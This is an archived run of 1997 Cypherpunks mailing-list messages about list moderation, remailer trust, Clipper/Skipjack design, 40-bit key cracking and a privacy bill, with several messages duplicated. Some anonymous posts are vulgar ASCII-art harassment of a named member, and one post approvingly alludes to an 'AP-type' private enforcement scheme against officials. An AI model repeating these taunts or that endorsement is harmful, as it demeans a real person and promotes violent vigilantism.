MAIN + FLAMES + DROPPED/LOST Possibly the fault lies in the software Sandy is using to sort the messages, possibly elsewhere. Whatever, this needs to be fixed immediately, or the experiment abandoned immediately. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From huilam at pl.jaring.my Fri Feb 7 01:16:15 1997 From: huilam at pl.jaring.my (huilam) Date: Fri, 7 Feb 1997 01:16:15 -0800 (PST) Subject: No Subject Message-ID: <199702070916.RAA10141@relay6.jaring.my> How to get off this mail-listing ?? Regards, Hui Lam Email:huilam at pl.jaring.my Homepage: From antimod at nym.alias.net Fri Feb 7 01:30:47 1997 From: antimod at nym.alias.net (Against Moderation) Date: Fri, 7 Feb 1997 01:30:47 -0800 (PST) Subject: Which list am I on? Message-ID: <19970207093042.7371.qmail@anon.lcs.mit.edu> I thought I was on the cypherpunks edited list. However, I appear to have seen some of the messages that Tim says got lost. Moreover, I keep getting ASCII art messages flaming someone with the initials DLV (though I haven't seen any more of the TCM flames [I haven't looked too hard, either]). My mail headers have: >From cypherpunks-errors at toad.com >Sender: owner-cypherpunks at toad.com Now I'm really confused. Which list am I on? From aba at dcs.ex.ac.uk Fri Feb 7 01:40:16 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 7 Feb 1997 01:40:16 -0800 (PST) Subject: Geiger and long, unreadable lines In-Reply-To: <199702050728.XAA18196@toad.com> Message-ID: <199702070917.JAA00129@server.test.net> Dimitri Vulis writes on cpunks-unedited: > Adam Back writes: > > [DH key gen questions] > > > > (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge > > shouldn't hold, besides Sandy has a stated policy of killing the whole > > thread, so I thought it amusing to continue your crypto relevance in > > moving on to technical topics rather than political) > > My advice is to stay clear of any cryptosystem that relies on factoring > being hard. I'll send you pointers to some very interesting new work > based on the zeta function in private e-mail when I dig it up (please > remind me if/when I forget this promise). > I'm reluctant to say anything crypto-relevant on this defunct > mailing list because last time I did, the moderator repeatedly cited > it as evidence that his moderation works. I agree, Sandy said something like "look see even Vulis has started posting crypto relevance therefore moderation works" in one of his defenses of the moderation experiment. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702070911.JAA00127@server.test.net> Lucky Green wrote: > [...]. How many of you remember the anonymous message posted to this > list revealing that Skipjack is an elliptic curve cipher? [One of the most > respected names in cryptography confirmed this to me in private > conversation. No, the person was not privy to the secret specs. The person > didn't need to be. :-] What aspect of Skipjack family is Elliptic curve? Skipjack itself I thought was a symmetric key block cipher, with 80 bit keys and 64 bit block size. The key escrow designs (clipper chip and family) included several additions: 1. check sum to prevent LEAF (Law Enforcement Access Field) forgery (16 bits, which is not enough as Matt Blaze demonstrated) 2. government access copy of chip's serial number encrypted with LE family key in LEAF 3. copy of session key encrypted with unit's escrow key in LEAF (the escrow key is the key that is stored in the government database indexed by chip serial number - the database which is split between the two escrow agents). 4. hardware random number key generation 5. undisclosed key exchange mechanism 6. are DSS signatures used? Presumably the Elliptic curve is for key exchange? Is there something about the design which implies Ellitpic curve must be the key exchange mechanism used? Another possible area for public key, if they had it on chip, would be to use public key encryption for the encryption of the serial number. Otherwise, when the chip is reverse engineered the LE family key would allow traffic analysis of all clipper traffic. Public key would prevent this. (According to Ross Anderson's paper on tamper proof hardware, at least one chip manufacturer has reverse engineered the clipper chip) > If nobody cares about the leaks, why do we need to provide a forum for > them? Besides, there are other fora that could be used. sci.crypt or > Coderpunks are both good places to post "found" code. It is true that sci.crypt and coderpunks do make alternative fora. Somebody else pointed out that rc4.c was posted to sci.crypt first. I think they are correct, and in fact if I remember, it was forged as from David Sterndark or some other play on David Sternlight's email address. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702070926.JAA00135@server.test.net> Allen, that post had a garbled header, and some people may have missed it, so I'll repost (your cc line was broken also, being in the subject field, so I've added your cc line in): : Allen Smith forwards with permission : Lance Cotrell's email: : : Lance Cottrell writes in email to Allen: : >I would be happy to donate the resources to run Cypherpunks off our system. : >We could set up the list provided we were given a list of subscribers. I : >assume it would be unmoderated. : > : > -Lance : > : >> Hi. I don't know how much you've been keeping up with : >>the discussion on cypherpunks, but there is a current proposal : >>to distribute the list onto several different servers. I would : >>be willing to pay for 100 subscribers to run on the cyberpass.net : >>server, provided that somebody else (e.g., Igor Chudov) set up : >>the system initially and was available for assistance later. Any : >>problems on your end? : >> [...] : >> Thanks, : >> -Allen I'd argue for waiting to see the outcome of the moderation experiment, before rehoming the list. The multiple host system proposed by Igor sounds like a good idea in any event. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: A couple things need underscoring: On Wed, 5 Feb 1997, Hugh Daniel wrote: > Agenda: 11:++ setup, gossip, face feeding etc. > 12:00 USG Export 'Laws' of the week, Roz Thomsen, PGP inc. ^^^^^ Thomsen needs to leave early, so we will make every effort to "start on time." > We have a wonderful space to do demos in this month, Turing > Auditorium has Internet, projections screens, audio amps and ^^^^^^^^ I.e., Ethernet, either 10BaseT or coax, no firewall. Please show up by 11:30 if you want an IP address. Hooked up to the projectors are a PowerMac, a Windows 95 box, and I might lug my Linux box over, too. One analog phone, in case anyone wants one. I suppose we could still do live RealAudio and/or CU-SeeMe iff someone feels they have something to say of such earth- shattering importance that the whole net must hear. Otherwise, I'd rather keep the distracting toys out of the way. -rich www.stanford.edu/~llurch From aga at dhp.com Fri Feb 7 02:15:09 1997 From: aga at dhp.com (aga) Date: Fri, 7 Feb 1997 02:15:09 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins In-Reply-To: <32FA7951.38A3@earthlink.net> Message-ID: On Thu, 6 Feb 1997, ISP_Ratings wrote: > lcs Remailer Administrator wrote: > > > > Because of recent attacks on the remailer network and mail2news > > gateways, I may loose access to at least one of the news servers I > > currently feed news to from my mail2news gateway. > > Who attacked the network and for what reason? > > If you are a news administrator, believe in free speech and anonymity, > > and you would like to help the cause, please consider giving transfer > > (aka "IHAVE" or "hosts.nntp") privileges to this machine. You will > > not be the only server, and so do not need to worry about being the > > point of entrance of mail2news articles to Usenet. > > > > Please contact me if you can help. Thank you. > > Well, just who is cutting you off and for what reason? And what is their telephone number? > > For those who oppose the existence of mail2news gateways, you should > > know that we are taking steps to limit the abuse. Just what is your definition of "abuse?" However, doing so > > without in any way limiting articles that abide by the usage policy is > > tricky, and must be done carefully. Please be patient. > > > I'm writing from the Freedom Knights list but am in no way > representing them. > > What exactly do you mean by 'taking steps to limit the abuse'? > Personally I think much of what is called abuse is nonsense and > that all posts, with the exception of cancels/NoCems should be > propogated regardless of content (including what is currently > referred to as spam). > > Also--could you forward to the Freedom Knights list a copy of > your 'usage policy' and impressions on the Freedom Knights two > FAQs. > > Thanks, > > Steve > From aba at dcs.ex.ac.uk Fri Feb 7 03:21:16 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 7 Feb 1997 03:21:16 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting In-Reply-To: <199702052221.OAA05812@toad.com> Message-ID: <199702071118.LAA00462@server.test.net> Could someone who is planning to go tomorrow's cpunks physical meeting provide a short account of the interesting news to the list? Thanks, Adam > What: San Francisco Bay Area Cypherpunks monthly physical meeting > > Agenda: 11:++ setup, gossip, face feeding etc. > 12:00 USG Export 'Laws' of the week, Roz Thomsen, PGP inc. > 13:00 PGPmail & PGPdisk overview, Dave Del Torto, PGP inc. > 14:00 Break > 14:30 Announcements, late breaking news, etc. > 15:00 The 3 hour 40bit challenge, Ian Goldberg, UCBstudent > 16:00 Why bother killing the list?, Hugh Daniel > Future Meeting Planing, IPSEC Update, etc. > 17:00 This hour left bank for future expansion... From aba at dcs.ex.ac.uk Fri Feb 7 03:21:24 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 7 Feb 1997 03:21:24 -0800 (PST) Subject: Deloitte-Touche? In-Reply-To: <199702052256.OAA06322@toad.com> Message-ID: <199702071115.LAA00460@server.test.net> Mark writes: > I'm almost certain that Murray is a consultant rather than > or in addition to an accountant. He's been saying these things > for years at conferences, in papers, on mailing lists, etc. To get the definitive version I asked him what his relationship to DT is (I got his email address from a sci.crypt posting), and this is what he said: : I am a consultant to Deloitte & Touche's information security : practice. So now we know. Nice that he defended freedom to use cryptography anyway, Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Dickhead Vermin K[ondom]OTM has been a source of endless embarassments to his sympathizers on and off the net. _ O O _ \-|-\_/-|-/ Dickhead Vermin K[ondom]OTM /^\ /^\ ^^ ^^ ^^ ^^ From vin at shore.net Fri Feb 7 06:37:59 1997 From: vin at shore.net (Vin McLellan) Date: Fri, 7 Feb 1997 06:37:59 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? In-Reply-To: <199702062301.PAA02248@toad.com> Message-ID: The alway-informed Prof. Froomkin asked: >This would be the same Strassmann who stated in public at Harvard early in >1995 that most remailers were run by intelligence agencies such as the >KGB, then denied saying it when asked for substantiation? And cut it >from his paper? Don't know that one, but it seems feasible. Strassmann had the status to speak at Harvard; probably the K school. (He's also an interesting author, really worth a read; despite this recent balderdash.) I kept a clip from an interview with him for years: after the bomb attack on the World Trade Tower he proclaimed that a "Electronic Pearl Harbor" attack on the US was inevitable. The only question, he said, was when. Not if. (It was a usefully overheated hook for some article on compsec, but I don't think I ever used it. Reminded me too much of warnings that someone was bound to someday taint the city water reservoir with LSD;-) As I recall, that piece also quoted him as saying that he knew of an incident where some group had held a major banking institution ransom with a threat to destroy their data files somehow. He refused to identify the institution or otherwise give any further details about the incident. Came to mind a few months back, when Winn Schwartau was firing off (also overheated) missives from Europe reporting, with scant detail, that several UK or European banking institutions had paid off millions when subjected to similar blackmail. > {...} there is some debate about the extent to which in >*intelligence gathering* as opposed to, say, trying to crack a banking >protocol, one can reasonably count on a known plaintext. And much debate >about the processing costs of not having one, especially when one doesn't >know what kind of document is being encrypted (e.g. is it ASCII plaintext? >a spreadsheet? a jpeg? etc.). I think that's his (misdirected) point. The latter is a interesting debate -- but, as you note, not really relevant in this case, where Strassmann proclaims: >>In summary: The claim of exportable cryptography being totally >>insecure, because it can be cracked in 3.5 hours is not >>realistic. The three clues announced in the contest >>would not apply under infowar conditions. Now, an international institution which buys and bets the bank upon US-exportable (40-bit) cryptography probably deserves what it has bought: espionage-enabled software designed for fast and cheap decryption by spooks and sundry college kids with access to a handful of machines. The original annoucement of the RSA Secret Key Challenge declared forthrightly that even 56-bit keys -- whatever the algorithm! -- offer only "minimal" security. (What Goldberg did in hours, many could do in a days or weeks with much less equipment. A 40-bit key length offers a universe of about, what? a trillion possible keys.) And while there might be debate as to how hard it is to attack cyphertext when the attacker doesn't know _anything_ about the message (not its data format; not the language being used; nothing!) there is really none about the fact that -- with virtually any piece of that puzzle -- the attack becomes relatively straightforward. A big job for a little machine, but conceivable: grab a key, decrypt, and then match for the right stats. Rare indeed is the commercial message, or even the typical government transmission, where its original digital format is not easily guessed -- if not known for certain. That is the contemporary, real-world, infowar/infocrime environment. To a machine -- which is, after all, looking for a statistical pattern in the results, not "meaning" -- knowing that the message is in English (and/or coded in ASCII) is functionally equivalent to an old-fashioned human codebreaker being given a matched plaintext/cyphertext sample. Given that much, the computer doesn't need the plaintext! It's counterintuitive to the layman, but one would expect a savvy systems guy like Strassmann to know this cold. Even my son, at 4, understands that a computer manipulates the fodder fed it only in terms of ones and zeros. Statistics, not the "plaintext" clue, reveal who dun it... to the machine. Clue #3 -- "the giveaway." Lord help us! Paul Strassmann has probably taught a generation of the DC InfoWar accolytes how to think about this stuff!!! Hopefully their kids can re-educate them. Suerte, _Vin Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 From azur at netcom.com Fri Feb 7 06:55:51 1997 From: azur at netcom.com (Steve Schear) Date: Fri, 7 Feb 1997 06:55:51 -0800 (PST) Subject: IEEE Communications Message-ID: <199702071455.GAA24387@toad.com> A friend called this evening to let me know the February issue is dedicated to electronic cash and its implications. I'm no longer an IEEE member. If any of the various list members care to excerpt and comment on some of the more interesting portions, I'm sure it would be appreciated. --Steve From nobody at huge.cajones.com Fri Feb 7 06:55:51 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 7 Feb 1997 06:55:51 -0800 (PST) Subject: [PICS] forgery detection Message-ID: <199702071455.GAA24388@toad.com> When Deadwood Vulgar K[arcass]OTM's mother gave birth to him after fucking with a bunch of sailors, she didn't know who the father was but decided to tell him that he was a Russian as the Russian sailor was the one who satisfied her the most. /\ \ / /\ //\\ .. //\\ Deadwood Vulgar K[arcass]OTM //\(( ))/\\ / < `' > \ From sandfort at crl9.crl.com Fri Feb 7 06:55:54 1997 From: sandfort at crl9.crl.com (Sandy Sandfort) Date: Fri, 7 Feb 1997 06:55:54 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702071455.GAA24397@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Thu, 6 Feb 1997, Timothy C. May wrote: > My posting seem to be going into Limbo, being sent neither to > the Cypherpunks Heaven Sandy administers nor to the flames of > the Cypherpunks Hell. At least this is how things now appear. It doesn't look familiar. I don't have any idea what happened. Can anyone tell me if they saw it on the unedited list? That's where I would have read it. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From sandfort at crl9.crl.com Fri Feb 7 06:55:56 1997 From: sandfort at crl9.crl.com (Sandy Sandfort) Date: Fri, 7 Feb 1997 06:55:56 -0800 (PST) Subject: anonymous remailers Message-ID: <199702071455.GAA24404@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Thu, 6 Feb 1997, Timothy C. May wrote: > Why was this message (attached below) sent to the "Flames" list? (*) It > contains an assertion that the remailer operators are colluding to reveal > identities, and this is surely a fit topic for discussion. > > (* I have temporarily subscribed to the Flames list to see just what it is > being filtered or censored by Sandy. I received this message, and it had > the header "Sender: owner-cypherpunks-unedited at toad.com," thus I surmise it > is a "Flames" message. It would help, by the way, if messages were more > clearly labelled by the Moderator as to which bucket he placed them in.) Currently, there are three lists. It looks as though the message in question appeared on the Unedited list. This is NOT the same as the Flames list. I don't recall where I sorted that particular post to after I read it on the Unedited list. If it went to the "wrong" list, my apologies to the author. As I indicated before, I don't think a 100% solution is possible, but I think I'm running in the high 90s under the criteria I enunciated. Not perfection, but a definite improvement over the prior condition. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From tcmay at got.net Fri Feb 7 06:55:58 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 06:55:58 -0800 (PST) Subject: remailer-operators DEA agents? Message-ID: <199702071455.GAA24405@toad.com> Again, I am only on the Flames list. So why was this message sent to the Flames list? Because someone responded to a Vulis post? Is a response to a Banned Message now grounds for rejection? Here's the message sent to the Flames pile. Although the anonymous author did not add much, neither the original message nor his/her one line response was a "flame" or "insult." Hence it should not have been rejected. At 5:47 AM +0000 2/7/97, Secret Squirrel wrote: >Dr.Dimitri Vulis KOTM wrote: >> c.musselman at internetmci.com (Charley Musselman) writes: >> > C'punks -- >> > When I told a friend about the alt.drugs.pot cultivation newsgroup >> > and suggested that he use an anonymous remailer to post to the group, >> > he laughed and said, "Who do you suppose runs the remailers? ATF, >> > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does >> > anyone know the answer? Specifically, how can we choose a trusted >> > remailer? >> >> Even if the feds are not directtly involved, the so-called "cypher punk" >> remailers are run by people who should not be trusted. Check out their >> remailer-operators list: it's full of announcements that some specific >> person posted something via the remailer that the operator didn't like. > >Examples, please? Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Fri Feb 7 06:56:01 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 06:56:01 -0800 (PST) Subject: anonymous remailers Message-ID: <199702071456.GAA24406@toad.com> At 11:06 PM -0800 2/6/97, Sandy Sandfort wrote: >Currently, there are three lists. It looks as though the message >in question appeared on the Unedited list. This is NOT the same >as the Flames list. Well, I only subscribe to the Flames list--there is no doubt about this. In any case, what is the meaning of a message going only to the "Unedited" list? A message that goes to the Unedited list but _not_ to the Flames list must surely go to the Main list, right? That is, MAIN list + FLAMES list = UNEDITED list Isn't this the way it works, that the Unedited list is the union of the MAIN and FLAMES lists, which are disjoint? So, since the Vulis message on anonymous remailers did not appear on the MAIN list, it must have appeared on the FLAMES list. >I don't recall where I sorted that particular post to after I >read it on the Unedited list. If it went to the "wrong" list, >my apologies to the author. As I indicated before, I don't think >a 100% solution is possible, but I think I'm running in the high >90s under the criteria I enunciated. Not perfection, but a >definite improvement over the prior condition. You keep saying this ("the list is better, the list is better, the list is better"). Repeating it enough may make it true, for you. In any case, my point is that there were no "flame" triggers in either of the messages you sent to the Flames list. Unless you are rejecting based on your opinion of the views expressed, these messages belong on the main list. Sandy, you are a sloppy moderator. An incompetent, in fact. Get better fast or knock off the pretense that you know better than we do what Cypherpunks are ready to read. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From cmcurtin at research.megasoft.com Fri Feb 7 06:56:16 1997 From: cmcurtin at research.megasoft.com (C Matthew Curtin) Date: Fri, 7 Feb 1997 06:56:16 -0800 (PST) Subject: alt.cypherpunks (was: Re: My Departure, Moderation, and "Ownership of the List") In-Reply-To: <199702040156.RAA09634@toad.com> Message-ID: <199702071446.JAA12464@goffette.research.megasoft.com> -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Adam" == Adam Back writes: Adam> Perhaps it is time to reconsider the benefits of Adam> alt.cypherpunks. (As an aside, it is ironic that John Gilmore Adam> was the guy who started the alt.* USENET hierarchy, specifically Adam> to facilitate freedom of speech). This would have another benefit. More sophisticated tools exist for filtering usenet than for filtering email in a voluntarily cooperative way. For example, I use a fairly extensive .procmailrc file to filter my email, and blow away stuff that's either spam or a post from someone I consider a blathering idiot. There are some other folks on the list who likely do the same thing, and there are some whose .procmailrc files I'd like to see, and likely include in my own. But there's no easy way to do that. With alt.cypherpunks, anyone who wishes to "help kill noise" could simply issue a NoCeM report, and those of us with reasonable newsreaders would be able to "listen" to the reports from people with whom we want to cooperate. And we can ignore the rest. The beauty of this scheme is that the control of the list is in the hands of the individual reader, without requiring huge amounts of redundant effort. It's also occurred to me that there can be folks who NoCeM the NoCeM reports :-) - -- Matt Curtin Chief Scientist Megasoft, Inc. cmcurtin at research.megasoft.com http://www.research.megasoft.com/people/cmcurtin/ I speak only for myself Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Have you encrypted your data today? iQEVAwUBMvtAVX6R34u/f3zNAQEFBQf9F6K+47WukspV3BU3E5+/hR9ARVc0cGt5 1zTwkipAqGOZeXMm4//vPYh/q9DyKzV2VLLr/sY7cRiBCypv2BP8y8e8dqkK0eYq LGaLpmF5IGomJA2iCLYmgQAWJrdhKIBxwyuX0hyDwjTvOF/S4BSV2x1b0dR3q1RB goV/3vqvxpEan/iy53M+rMAaYffb4s+TRslIJY5ct1ddx+5aeQGOAmgnGWToK1Ja 5ZLYUwkLQ1By14FxC4451uJDHxARNZcKVuu/dcfH+oWYQFrTo9CPi+7Ykpyyxz8X 0v68Gj57xEdnVgz6XshMY3NHOhiIcCuQQSJ1LjkLSfuV9ZzXuiMKQw== =2ckb -----END PGP SIGNATURE----- From jimbell at pacifier.com Fri Feb 7 06:56:29 1997 From: jimbell at pacifier.com (jim bell) Date: Fri, 7 Feb 1997 06:56:29 -0800 (PST) Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997") Message-ID: <199702071456.GAA24457@toad.com> >--- begin forwarded text >Date: Thu, 6 Feb 1997 11:24:09 EST >Reply-To: Law & Policy of Computer Communications > >Sender: Law & Policy of Computer Communications > >From: "Jonathan I. Ezor" >Subject: Congressional Bill worse for 'Net than CDA? (crosspost) > >Sorry for the crossposting, but I felt this one might be important enough >to do it. The following is a shortened version of an article I've written >for my firm's client newsletter about H.R. 98, the "Consumer Internet >Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on >January 7, 1997. [snip] > >Jonathan I. Ezor >New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019 >Tel: 212-468-4989 Fax: 212-468-4888 E-mail: jezor at newmedialaw.com >-----------------------------Cut here------------------------------- > >Congress Tackles Internet Privacy > Recently, there has been significant press coverage over real and >rumored revelations of personal information such as Social Security numbers by >online services, including the alleged availability (later shown to be untrue) >of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database, >and various governmental bodies have held hearings on issues of online privacy. >On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the >"Consumer Internet Privacy Protection Act of 1997," (H.R. 98) This bill >provides that "an interactive computer service shall not disclose to a third >party any personally identifiable information provided by a subscriber to such >service without the subscriber's prior informed written consent." Gee, this sounds great! Sounds like it would become illegal for ISPs to "cooperate" (aka: getting strongarmed) by the local thugs (cops) to reveal information about subscribers. Except, as is so often the case, they seem to always figure out ways to explain that cooperation with cops was somehow not covered in the law above. One of the non-obvious dangers of having laws such as this apply to ISPs is that they increase the likelihood that legal force could be applied to them in order to get them to sell-out their customers. And, obviously, the average citizen isn't going to have a lot of luck getting these laws ENFORCED unless he has friends in the prosecutor's office. One of the numerous advantages of an AP-type system is that a person will be able to make a violation of his privacy a crime regardless of whether the powers-that-be agree. Also, he can enforce that "law" on anyone, including government agents, without the cooperation of the prosecutor. Jim Bell jimbell at pacifier.com From huilam at pl.jaring.my Fri Feb 7 07:10:46 1997 From: huilam at pl.jaring.my (huilam) Date: Fri, 7 Feb 1997 07:10:46 -0800 (PST) Subject: No Subject Message-ID: <199702071510.HAA24733@toad.com> How to get off this mail-listing ?? Regards, Hui Lam Email:huilam at pl.jaring.my Homepage: From antimod at nym.alias.net Fri Feb 7 07:11:06 1997 From: antimod at nym.alias.net (Against Moderation) Date: Fri, 7 Feb 1997 07:11:06 -0800 (PST) Subject: Which list am I on? Message-ID: <199702071511.HAA24782@toad.com> I thought I was on the cypherpunks edited list. However, I appear to have seen some of the messages that Tim says got lost. Moreover, I keep getting ASCII art messages flaming someone with the initials DLV (though I haven't seen any more of the TCM flames [I haven't looked too hard, either]). My mail headers have: >From cypherpunks-errors at toad.com >Sender: owner-cypherpunks at toad.com Now I'm really confused. Which list am I on? From winsock at rigel.cyberpass.net Fri Feb 7 07:11:09 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Fri, 7 Feb 1997 07:11:09 -0800 (PST) Subject: Sphere packings Message-ID: <199702071511.HAA24791@toad.com> Dickhead Vermin K[ondom]OTM has been a source of endless embarassments to his sympathizers on and off the net. _ O O _ \-|-\_/-|-/ Dickhead Vermin K[ondom]OTM /^\ /^\ ^^ ^^ ^^ ^^ From azur at netcom.com Fri Feb 7 07:11:11 1997 From: azur at netcom.com (Steve Schear) Date: Fri, 7 Feb 1997 07:11:11 -0800 (PST) Subject: Waiting for Mac version [was Re: Full strength Email Clients] Message-ID: <199702071511.HAA24793@toad.com> >-----BEGIN PGP SIGNED MESSAGE----- > >At 06:51 PM 2/6/97 +0800, pclow wrote: >>>the >>>available >> Could someone who is planning to go tomorrow's cpunks physical meeting provide a short account of the interesting news to the list? Thanks, Adam > What: San Francisco Bay Area Cypherpunks monthly physical meeting > > Agenda: 11:++ setup, gossip, face feeding etc. > 12:00 USG Export 'Laws' of the week, Roz Thomsen, PGP inc. > 13:00 PGPmail & PGPdisk overview, Dave Del Torto, PGP inc. > 14:00 Break > 14:30 Announcements, late breaking news, etc. > 15:00 The 3 hour 40bit challenge, Ian Goldberg, UCBstudent > 16:00 Why bother killing the list?, Hugh Daniel > Future Meeting Planing, IPSEC Update, etc. > 17:00 This hour left bank for future expansion... From llurch at networking.stanford.edu Fri Feb 7 07:11:17 1997 From: llurch at networking.stanford.edu (Rich Graves) Date: Fri, 7 Feb 1997 07:11:17 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting Message-ID: <199702071511.HAA24795@toad.com> A couple things need underscoring: On Wed, 5 Feb 1997, Hugh Daniel wrote: > Agenda: 11:++ setup, gossip, face feeding etc. > 12:00 USG Export 'Laws' of the week, Roz Thomsen, PGP inc. ^^^^^ Thomsen needs to leave early, so we will make every effort to "start on time." > We have a wonderful space to do demos in this month, Turing > Auditorium has Internet, projections screens, audio amps and ^^^^^^^^ I.e., Ethernet, either 10BaseT or coax, no firewall. Please show up by 11:30 if you want an IP address. Hooked up to the projectors are a PowerMac, a Windows 95 box, and I might lug my Linux box over, too. One analog phone, in case anyone wants one. I suppose we could still do live RealAudio and/or CU-SeeMe iff someone feels they have something to say of such earth- shattering importance that the whole net must hear. Otherwise, I'd rather keep the distracting toys out of the way. -rich www.stanford.edu/~llurch From aba at dcs.ex.ac.uk Fri Feb 7 07:11:19 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 7 Feb 1997 07:11:19 -0800 (PST) Subject: Geiger and long, unreadable lines Message-ID: <199702071511.HAA24796@toad.com> Dimitri Vulis writes on cpunks-unedited: > Adam Back writes: > > [DH key gen questions] > > > > (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge > > shouldn't hold, besides Sandy has a stated policy of killing the whole > > thread, so I thought it amusing to continue your crypto relevance in > > moving on to technical topics rather than political) > > My advice is to stay clear of any cryptosystem that relies on factoring > being hard. I'll send you pointers to some very interesting new work > based on the zeta function in private e-mail when I dig it up (please > remind me if/when I forget this promise). > I'm reluctant to say anything crypto-relevant on this defunct > mailing list because last time I did, the moderator repeatedly cited > it as evidence that his moderation works. I agree, Sandy said something like "look see even Vulis has started posting crypto relevance therefore moderation works" in one of his defenses of the moderation experiment. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 On Thu, 6 Feb 1997, ISP_Ratings wrote: > lcs Remailer Administrator wrote: > > > > Because of recent attacks on the remailer network and mail2news > > gateways, I may loose access to at least one of the news servers I > > currently feed news to from my mail2news gateway. > > Who attacked the network and for what reason? > > If you are a news administrator, believe in free speech and anonymity, > > and you would like to help the cause, please consider giving transfer > > (aka "IHAVE" or "hosts.nntp") privileges to this machine. You will > > not be the only server, and so do not need to worry about being the > > point of entrance of mail2news articles to Usenet. > > > > Please contact me if you can help. Thank you. > > Well, just who is cutting you off and for what reason? And what is their telephone number? > > For those who oppose the existence of mail2news gateways, you should > > know that we are taking steps to limit the abuse. Just what is your definition of "abuse?" However, doing so > > without in any way limiting articles that abide by the usage policy is > > tricky, and must be done carefully. Please be patient. > > > I'm writing from the Freedom Knights list but am in no way > representing them. > > What exactly do you mean by 'taking steps to limit the abuse'? > Personally I think much of what is called abuse is nonsense and > that all posts, with the exception of cancels/NoCems should be > propogated regardless of content (including what is currently > referred to as spam). > > Also--could you forward to the Freedom Knights list a copy of > your 'usage policy' and impressions on the Freedom Knights two > FAQs. > > Thanks, > > Steve > From tcmay at got.net Fri Feb 7 07:11:53 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 07:11:53 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702071511.HAA24871@toad.com> At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote: >On Thu, 6 Feb 1997, Timothy C. May wrote: > >> My posting seem to be going into Limbo, being sent neither to >> the Cypherpunks Heaven Sandy administers nor to the flames of >> the Cypherpunks Hell. At least this is how things now appear. > >It doesn't look familiar. I don't have any idea what happened. >Can anyone tell me if they saw it on the unedited list? That's >where I would have read it. I reproduced the message in my message earlier tonight. Although there are no headers to show routing, since I sent it but never received it, I can assure you it was marked by Eudora as "Sent," and my ISP has reported no delivery problems of any sort. Thus, based on past experiences with 